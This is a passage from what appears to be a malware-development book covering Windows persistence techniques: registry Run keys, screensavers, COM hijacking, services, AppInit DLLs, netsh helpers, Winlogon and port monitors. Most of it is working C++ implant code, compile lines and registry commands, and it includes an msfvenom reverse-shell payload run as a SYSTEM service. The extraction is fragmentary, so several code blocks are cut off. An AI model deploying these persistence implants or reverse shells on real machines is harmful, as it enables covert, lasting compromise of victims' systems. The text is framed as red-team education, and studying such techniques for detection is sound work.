HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
practical example
Let’s go to look at a practical example. Let’s say we have a “malware” hack.cpp:
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>
355
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
Then, let’s create a script pers.cpp that creates registry keys that will execute
our program hack.exe when we log into Windows:
/*
pers.cpp
windows low level persistense
via start folder registry key
author: @cocomelonc
356
https://cocomelonc.github.io/tutorial/
2022/04/20/malware-pers-1.html
*/
#include <windows.h>
#include <string.h>
// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
As you can see, logic is simplest one. We just add new registry key. Registry
keys can be added from the terminal to the run keys to achieve persistence, but
since I love to write code, I wanted to show how to do it with some lines of code.
demo
Let’s compile our pers.cpp script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
357
Then, run our pers.exe script and check again:
.\pers.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
358
Pwn! Everything is worked perfectly :)
359
After the end of the experiment, delete the keys:
Remove-ItemProperty -Path \
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
-Name "hack"
reg query \
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
windows 11
This trick is also work on Windows 11:
360
361
362
And cleanup:
conclusion
Creating registry keys that will execute an malicious app during Windows logon
is one of the oldest tricks in the red team playbooks. Various threat actors
and known tools such as Metasploit, Powershell Empire provide this capability
therefore a mature blue team specialists will be able to detect this malicious
activity.
RegOpenKeyEx
RegSetValueEx
RegCloseKey
Remove-ItemProperty
reg query
363
source code in github
screensavers
Screensavers are programs that execute after a configurable time of user inactivity.
This feature of Windows it is known to be abused by threat actors as a method
of persistence. Screensavers are PE-files with a .scr extension by default and
settings are stored in the following registry keys:
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
364
set to 1 to enable screensaver.
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut - sets user
inactivity timeout before screensaver is executed.
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE - set the app
path to run.
practical example
Let’s go to look at a practical example. Let’s say we have a “malware” from
previous part hack.cpp:
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>
365
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive
Then, let’s create a script pers.cpp that creates registry keys that will execute
our program hack.exe when user inactive 10 seconds:
/*
pers.cpp
windows low level persistense via screensaver
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/04/26/malware-pers-2.html
*/
#include <windows.h>
#include <string.h>
366
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}
// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0,
REG_SZ, (unsigned char*)aact, strlen(aact));
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0,
REG_SZ, (unsigned char*)ts, strlen(ts));
RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0,
REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
As you can see, logic is simplest one. We just add new registry keys for timeout
and app path. Registry keys can be added from the cmd terminal:
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /d 10
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE \
/d Z:\2022-04-26-malware-pers-2\hack.exe
or powershell commands:
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'ScreenSaveTimeOut' -Value '10'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
367
-Name 'SCRNSAVE.EXE' -Value \
'Z:\2022-04-26-malware-pers-2\hack.exe'
but since I love to write code, I wanted to show how to do it with some lines of
code.
demo
Let’s compile our pers.cpp script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Then, for the purity of experiment, first of all, check registry keys in the victim’s
machine and delete keys if exists:
reg query "HKCU\Control Panel\Desktop" /s
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'ScreenSaveTimeOut'
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'SCRNSAVE.EXE'
368
Then, run our pers.exe script and check again:
.\pers.exe
reg query "HKCU\Control Panel\Desktop" /s
369
As you can see, new key added as expected.
So now, check everything in action. Logout and login again and wait 10 seconds
or just inactive 10 seconds:
370
conclusion
The problem with this persistence trick is that the session is terminated when the
user comes back and the system is not idle. However, red teams can perform their
operations (something like coin miner) during the user’s absence. If screensavers
are disabled by group policy, this method cannot be used for persistence. Also
you can block .scr files from being executed from non-standard locations.
This trick in MITRE ATT&CK
RegOpenKeyEx
RegSetValueEx
RegCloseKey
Remove-ItemProperty
reg query
source code in github
371
Component Object Model
In Windows 3.11, Microsoft introduced the Component Object Model (COM) is
an object-oriented system meant to create binary software components that can
interact with other objects. It’s an interface technology that allows you to reuse
items without knowing how they were made internally.
I’ll show you how red commands can use COM objects to run arbitrary code on
behalf of a trusted process in this post.
When a software needs to load a COM object, it uses the Windows API
CoCreateInstance to construct an uninitialized object instance of a specific
class, with the CLSID as one of the needed parameters (class identifier).
When a program calls CoCreateInstance with a particular CLSID value, the
operating system consults the registry to discover which binary contains the
requested COM code:
The contents of the InProcServer32 subkey under the CLSID key seen in the
previous image are presented in the next image:
372
• InprocServer/InprocServer32
• LocalServer/LocalServer32
• TreatAs
• ProgID
The sub-keys listed above are found in the following registry hives:
• HKEY_CURRENT_USER\Software\Classes\CLSID
• HKEY_LOCAL_MACHINE\Software\Classes\CLSID
373
reg query "HKCR\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s
Following the steps outlined above, we now have critical information that we
may use to launch a COM Hijacking attack.
attack process
First off all, export the specified subkeys, entries, and values of the local computer
into a file:
reg export \
"HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}
\InprocServer32" \
C:\...\2022-05-02-malware-pers-3\orig.reg /reg:64 /y
The next step is modify this file to set the default value of
HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32
registry key:
374
For simplicity, as always I took all the same file from one of my previous posts.
You can compile it from source code (evil.cpp):
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
375
Then, just run:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
Perfect!
demo
Then restart firefox.exe in my case, wait some time. I’ve be waiting around 7
mins:
376
If you notice then PID is 9272. But if you open Process Hacker you can see
that it’s not here:
377
but it happened the only time.
Later, the “meow-meow” messagebox window popped-up with some frequency:
378
That’s perfectly! :)
// subkey
const char* sk =
"Software\\Classes\\CLSID\\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\\InprocServer32";
// malicious DLL
const char* dll =
"C:\\Users\\User\\Desktop\\shared\\
2022-05-02-malware-pers-3\\evil.dll";
// startup
379
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER,
(LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, NULL, 0, REG_SZ,
(unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey for hijacking :(\n");
return -1;
}
return 0;
}
compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
and run:
.\pers.exe
380
Cleaning after completion of experiments:
reg delete \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}" \
/f
conclusion
An attacker can employ a not-so-common but widely used technique to ensure
silent persistence in a system after executing this actions. In the wild, this trick
was often used by groups such as APT 28, Turla, as well as Mosquito backdoor.
COM hijacking MITRE ATT&CK
APT 28
Turla
RegCreateKeyEx
RegSetValueEx
reg query
reg import
reg export
reg delete
source code in github
381
Today I’ll wrote about the result of self-researching another persistence trick:
Windows Services.
windows services
Windows Services are essential for hacking due to the following reasons:
• They operate natively over the network – the entire Services API was
created with remote servers in mind.
practical example
Let’s go to consider practical example: how to create and run a Windows service
that receives a reverse shell for us.
First of all create reverse shell exe file via msfvenom from my attacker machine:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe
382
Then, create service which run my meow.exe in the target machine.
The minimum requirements for a service are the following: - A Main Entry point
(like any application)
- A Service Entry point
- A Service Control Handler
In the main entry point, you rapidly invoke StartServiceCtrlDispatcher so
the SCM may call your Service Entry point (ServiceMain):
int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
The Service Main Entry Point performs the following tasks: - Initialize any
required things that we postponed from the Main Entry Point.
- Register the service control handler (ControlHandler) that will process Service
Stop, Pause, Continue, etc. control commands.
- These are registered as a bit mask via the dwControlsAccepted field of the
SERVICE STATUS structure.
- Set Service Status to SERVICE RUNNING. - Perform initialization procedures.
Such as creating threads/events/mutex/IPCs, etc.
void ServiceMain(int argc, char** argv) {
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted =
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("MeowService",
383
(LPHANDLER_FUNCTION)ControlHandler);
RunMeow();
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &serviceStatus);
The Service Control Handler was registered in your Service Main Entry point.
Each service must have a handler to handle control requests from the SCM:
void ControlHandler(DWORD request) {
switch(request) {
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;
default:
break;COM DLL hijack
}
SetServiceStatus(hStatus, &serviceStatus);
return;
}
384
HANDLE th;
// for example:
// msfvenom -p windows/x64/shell_reverse_tcp
// LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe
char cmd[] = "Z:\\2022-05-09-malware-pers-4\\meow.exe";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL,
NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
return 0;
}
int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService",
(LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
385
Of course, this code is not reference and it is more “dirty” Proof of Concept.
demo
Let’s go to demonstration all.
Compile our service:
x86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
We can install the service from the command prompt by running the following
command in target machine Windows 10 x64. Remember that all commands
run as administrator:
sc create MeowService binpath= \
"Z:\2022-05-09-malware-pers-4\meowsrv.exe" \
start= auto
Check:
386
sc query MeowService
387
The LocalSystem account is a predefined local account used by the service
control manager. It has extensive privileges on the local computer, and acts
as the computer on the network. Its token includes the NT AUTHORITY\SYSTEM
and BUILTIN\Administrators SIDs; these accounts have access to most system
objects. The name of the account in all locales is .\LocalSystem. The name,
LocalSystem or ComputerName\LocalSystem can also be used. This account
does not have a password. If you specify the LocalSystem account in a call to the
CreateService or ChangeServiceConfig function, any password information
you provide is ignored via MSDN.
Then, start service via command:
sc start MeowService
388
Then, run Process Hacker as non-admin User:
As you can see, it doesn’t show us the username. But, running Process Hacker
as Administartor changes the situation, and we see that our shell running on
behalf NT AUTHORITY\SYSTEM:
389
We will see it in the Network tab:
390
So, MeowService successfully stopped. And if we delete it:
sc delete MeowService
391
conclusion
This technique is not new, but it is worth paying attention to it, especially entry
level blue team specialists. Threat actors also can modify existing windows
services instead create new ones. In the wild, this trick was often used by groups
such as APT 38, APT 32 and APT 41.
MITTRE ATT&CK. Create or Modify System Process: Windows Service
APT 32
APT 38
APT 41
source code in Github
AppInit DLLs
Administrator level privileges are necessary to implement this trick. The following
registry keys regulate the loading of DLLs via AppInit:
392
• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows
- 32-bit
• HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\Windows - 64-bit
We are interested in the following values:
reg query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /s
practical example
First of all, create “evil” DLL. As usual I will take “meow-meow” messagebox
pop-up logic:
393
/*
evil.cpp
inject via Appinit_DLLs
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=ˆ..ˆ=", MB_OK);
return TRUE;
}
}
394
Then simple logic: changing the registry key AppInit_DLLs to contain the path
to the DLL, as a result, evil.dll will be loaded.
For this create another app pers.cpp:
/*
pers.cpp
windows low level persistense via Appinit_DLLs
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/
#include <windows.h>
#include <string.h>
res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\
Windows",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs",
0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs",
395
0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}
return 0;
}
As you can see, setting the registry key LoadAppInit_DLLs to value 1 is also
important.
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
demo
Let’s go to see everything in action! Drop all to victim’s machine (Windows 10
x64 in my case).
Then run as Administartor:
.\pers.exe
and:
reg query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/s
reg query \
"HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\
Windows" /s
just check.
396
Then, for demonstration, open something like Paint or Notepad:
397
So, everything is worked perfectly :)
second example:
However, this method’s implementation may result in stability and performance
difficulties on the target system:
Furthermore, I think that the logic of the first DLL’s is considered very odd
since multiple message boxes popup, so when we act real-life action in red team
scenarios: it’s very noisy, for example for multiple reverse shell connections.
I tried updating little bit the logic of evil.dll:
/*
evil2.cpp
inject via Appinit_DLLs - only for `mspaint.exe`
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
398
str++;
pattern++;
}
if (!*pattern)
return Begin;
str = Begin + 1;
}
return NULL;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=ˆ..ˆ=", MB_OK);
return TRUE;
}
}
As you can see, if the current process is paint (and is 32-bits) then, “inject” :)
399
Perfect! :)
400
This technique is not new, but it is worth paying attention to it, in the wild,
this trick was often used by groups such as APT 39 and malwares as Ramsay.
MITRE ATT&CK: APPInit_DLLs
APT39
Ramsay
source code in github
401
47. malware development: persistence - part 6. Windows
netsh helper DLL. Simple C++ example.
netsh
Netsh is a Windows utility that administrators can use to modify the host-based
Windows firewall and perform network configuration tasks. Through the use of
DLL files, Netsh functionality can be expanded.
This capability enables red teams to load arbitrary DLLs to achieve code exe-
cution and therefore persistence using this tool. However, local administrator
privileges are required to implement this technique.
practical example
Let’s go to consider practical example. First of all create malicious DLL:
/*
evil.cpp
simple DLL for netsh
author: @cocomelonc
402
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
Compile it:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive
403
Then, the add helper can be used to register the DLL with the netsh utility:
netsh
add helper Z:\2022-05-29-malware-pers-6\evil.dll
404
Everything is worked perfectly!
However, netsh is not scheduled to start automatically by default. Persistence
on the host is created by creating a registry key that executes the application
during Windows startup. This can be done immediately using the script below:
/*
pers.cpp
windows persistence via netsh helper DLL
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/
#include <windows.h>
#include <string.h>
// netsh
const char* netsh = "C:\\Windows\\SysWOW64\\netsh";
// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0 , KEY_WRITE, &hkey);
405
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack",
0, REG_SZ, (unsigned char*)netsh, strlen(netsh));
RegCloseKey(hkey);
}
return 0;
}
As you can see it’s similar to script from my post about persistence via registry
run keys
Check registry run keys:
reg query \
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/s
Compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
406
When the add helper command is executed to load a DLL file, the following
registry key is created:
But there is a caveat. The PoC’s logic needs to be updated to create a new
thread so that netsh can still be used while the payload is running. However,
when netsh ends, so does your malicious logic.
So, let’s try. Create new DLL (evil2.cpp):
407
/*
evil2.cpp
simple DLL for netsh
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
Compile:
x86_64-w64-mingw32-gcc -shared -o evil2.dll evil2.cpp -fpermissive
408
As you can see, everything is ok, netsh can still be used. And we can check
registry key for correctness:
reg query "HKLM\Software\Microsoft\NetSh" /s
409
48. malware development: persistence - part 7. Winlogon.
Simple C++ example.
Today I’ll wrote about the result of self-researching another persistence trick:
Winlogon registry keys.
winlogon
The Winlogon process is responsible for user logon and logoff, startup and
shutdown and locking the screen. Authors of malware could alter the registry
entries that the Winlogon process uses to achieve persistence.
The following registry keys must be modified in order to implement this persis-
tence technique:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
However, local administrator privileges are required to implement this technique.
practical example
First of all create our malicious application (hack.cpp):
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>
410
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
// shell
// const char* sh = "explorer.exe,
// Z:\\2022-06-12-malware-pers-7\\hack.exe";
const char* sh = "explorer.exe,hack.exe";
// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
411
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon"
// /v "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ,
(unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);
}
return 0;
}
Also, similar for Userinit. If this registry key include an malicious app will
result in the execution of both userinit.exe and hack.exe during Windows
logon:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>
// userinit
const char* ui = "C:\\Windows\\System32\\userinit.exe,
Z:\\2022-06-12-malware-pers-7\\hack.exe";
// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add
412
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon"
// /v "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Userinit", 0,
REG_SZ, (unsigned char*)ui, strlen(ui));
RegCloseKey(hkey);
}
return 0;
}
demo
And see everything in action. First of all, check registry keys:
req query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" \
/s
413
Copy malicious app to C:\Windows\System32\. And run:
.\pers.exe
414
According to the logic of the our malicious program, “meow-meow” popped up:
415
Let’s check process properties via Process Hacker 2:
Then, cleanup:
reg add \
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" \
/v "Shell" /t REG_SZ /d "explorer.exe" /f
416
What about another key Userinit.exe? Let’s check. Run:
.\pers.exe
417
Then, for the purity of experiment, check properties of hack.exe in Process
Hacker 2:
418
As you can see, parent process is winlogon.exe.
Cleanup:
reg add \
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" \
/v "Userinit" /t REG_SZ /d \
"C:\Windows\System32\userinit.exe" /f
419
As you can see in both cases, the malware will be executed during Windows
authentication.
But there are interesting caveat. For example if we update registry key as
following logic:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>
// shell
const char* sh = "explorer.exe,
Z:\\2022-06-12-malware-pers-7\\hack.exe";
// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
420
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon" /v
// "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Shell", 0,
REG_SZ, (unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);
}
return 0;
}
That is, our malware is located along the path: Z:\...\hack.exe instead of
C:\Windows\System32\hack.exe.
Run:
.\pers.exe
req query "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" /s
And relogin:
421
Checking properties of hack.exe:
422
As you can see, parent process is Non-existent process. Parent will show as
Non-existent process since userinit.exe terminates itself.
There is one more note. Also, the Notify registry key is commonly present
in older operating systems (prior to Windows 7) and it points to a notification
package DLL file that manages Winlogon events. If you replace the DLL entries
under this registry key with any other DLL, Windows will execute it during
logon.
What about mitigations? Limit user account privileges so that only authorized
administrators can modify the Winlogon helper. Tools such as Sysinternals
Autoruns may also be used to detect system modifications that may be attempts
at persistence, such as the listing of current Winlogon helper values.
This persistence trick is used by Turla group and software like Gazer and Bazaar
in the wild.
MITRE ATT&CK - Boot or Logon Autostart Execution: Winlogon Helper DLL
Turla
Gazer backdoor
Bazaar
source code on Github
423
49. malware development: persistence - part 8. Port moni-
tors. Simple C++ example.
This post is the result of self-researching one of the interesting malware persistence
trick: Port monitors.
port monitors
Port Monitor refers to the Windows Print Spooler Service or spoolv.exe in this
post. When adding a printer port monitor, a user (or an attacker) is able to add
an arbitrary dll that serves as the “monitor”.
There are essentially two ways to add a port monitor, also known as your
malicious DLL: through the Registry for persistence or a custom Windows
application (AddMonitor function) for immediate dll execution.
adding monitor
Using the Win32 API, specifically the AddMonitor function of the Print Spooler
API:
BOOL AddMonitor(
LPTSTR pName,
DWORD Level,
LPBYTE pMonitors
);
424
/*
monitor.cpp
windows persistence via port monitors
register the monitor port
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/19/malware-pers-8.html
*/
#include "windows.h"
#pragma comment(lib, "winspool")
Compile it:
x86_64-w64-mingw32-g++ -O2 monitor.cpp -o monitor.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lwinspool
425
demo for add “monitor”
Copy files and run:
copy Z:\2022-06-19-malware-pers-8\evil2.dll .\
copy Z:\2022-06-19-malware-pers-8\monitor.exe .\
.\monitor.exe
registry persistence
A list of sub-key port monitors can be found within the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
node. Each key should have a REG_SZ entry containing a Drivers DLL. At
system startup, each of these DLLs will be executed as SYSTEM.
First of all, before malicious actions, check sub keys:
reg query \
"HKLM\System\CurrentControlSet\Control\Print\Monitors" \
/s
426
Then, add sub key Meow and Driver value:
reg add \
"HKLM\System\CurrentControlSet\Control\Print\Monitors\Meow"
/v "Driver" /d "evil2.dll" /t REG_SZ
reg query \
"HKLM\System\CurrentControlSet\Control\Print\Monitors"
/s
As you can see, everything is completed correctly. Then restart victim’s machine:
427
And after a few minutes:
428
Let’s go to check Network tab in Process Hacker 2:
429
We can see that the evil2.dll is being accessed by the spoolsv.exe (PID:
4616), which eventually spawns a rundll32 with our payload, that initiates a
connection back to the attacker:
430
My “dirty PoC” for registry persistence:
/*
pers.cpp
windows persistence via port monitors
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/19/malware-pers-8.html
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
// subkey
const char* sk =
"\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Meow";
// evil DLL
const char* evilDll = "evil.dll";
// startup
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
431
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"Driver", 0, REG_SZ,
(unsigned char*)evilDll, strlen(evilDll));
RegCloseKey(hkey);
} else {
printf("failed to create new registry subkey :(");
return -1;
}
return 0;
}
50. final
Alhamdulillah, I finished writing this book while in the hospital with my daughter.
It was quite difficult. In sha Allah everything will be fine. O Allah, Lord of the
Worlds, give strength to my daughter.
Why is the book called that? MD - means Malware Development, The MZ
signature is a signature used by the MS-DOS relocatable 16-bit EXE format and
its still present in today’s PE files for backwards compatibility., also MD MZ
means My Daughter Munira Zhassulankyzy.
I will be very happy if this book helps at least one person to gain knowledge
and learn the science of cybersecurity. The book is mostly practice oriented.
All examples are practical cases for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
432
433
MD MZ
